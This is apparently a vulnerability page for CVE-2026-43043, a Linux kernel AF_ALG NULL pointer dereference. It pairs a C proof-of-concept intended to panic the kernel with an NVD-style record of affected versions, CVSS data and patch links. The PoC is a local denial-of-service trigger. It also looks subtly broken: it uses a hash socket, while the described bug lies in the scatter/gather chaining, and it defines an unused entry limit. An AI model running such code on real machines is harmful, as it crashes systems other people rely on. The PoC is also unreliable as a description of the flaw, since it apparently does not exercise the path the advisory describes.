CVE-2026-43043

// PoC for CVE-2026-43043: Linux Kernel AF_ALG NULL Pointer Dereference // This code attempts to trigger the scatterwalk crash by filling SGL exactly. // Compile: gcc -o poc_cve2026_43043 poc_cve2026_43043.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define MAX_SGL_ENTS 128 // Assuming default max entries based on kernel code logic int main() { int fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "hash", .salg_name = "sha256" }; char buf[4096]; // Buffer size int i; // Create AF_ALG socket fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (fd < 0) { perror("socket"); return 1; } // Bind to algorithm if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(fd); return 1; } // Accept connection int opfd = accept(fd, NULL, 0); if (opfd < 0) { perror("accept"); close(fd); return 1; } printf("Triggering SGL chaining bug...\n"); // Loop to send data and trigger the allocation/chaining logic for (i = 0; i < 1000; i++) { if (send(opfd, buf, sizeof(buf), 0) < 0) { perror("send"); break; } } printf("If vulnerable, kernel panic might occur.\n"); close(opfd); close(fd); return 0; }

{"cve": {"id": "CVE-2026-43043", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:50.563", "lastModified": "2026-05-08T18:57:17.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: af-alg - fix NULL pointer dereference in scatterwalk\n\nThe AF_ALG interface fails to unmark the end of a Scatter/Gather List (SGL)\nwhen chaining a new af_alg_tsgl structure. If a sendmsg() fills an SGL\nexactly to MAX_SGL_ENTS, the last entry is marked as the end. A subsequent\nsendmsg() allocates a new SGL and chains it, but fails to clear the end\nmarker on the previous SGL's last data entry.\n\nThis causes the crypto scatterwalk to hit a premature end, returning NULL\non sg_next() and leading to a kernel panic during dereference.\n\nFix this by explicitly unmarking the end of the previous SGL when\nperforming sg_chain() in af_alg_alloc_tsgl()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.38", "versionEndExcluding": "5.10.253", "matchCriteriaId": "23469A4A-A411-46B7-BCC8-630D832E78C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/00cbdec17c15d024a1c5002c7365df7624a18a75", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/44eafa39363e8d5dfda6a8c6eb6b45458ed4b948", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4b03ab0a587ec57eb7ddb5c115d84a42896f60f7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/62397b493e14107ae82d8b80938f293d95425bcb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7195350fb78538c25cd790d703f8f2c73ee0d395", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7cdf2c6381b21ab5ccf8116750d5582fcd6c0f49", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f48d3d ... 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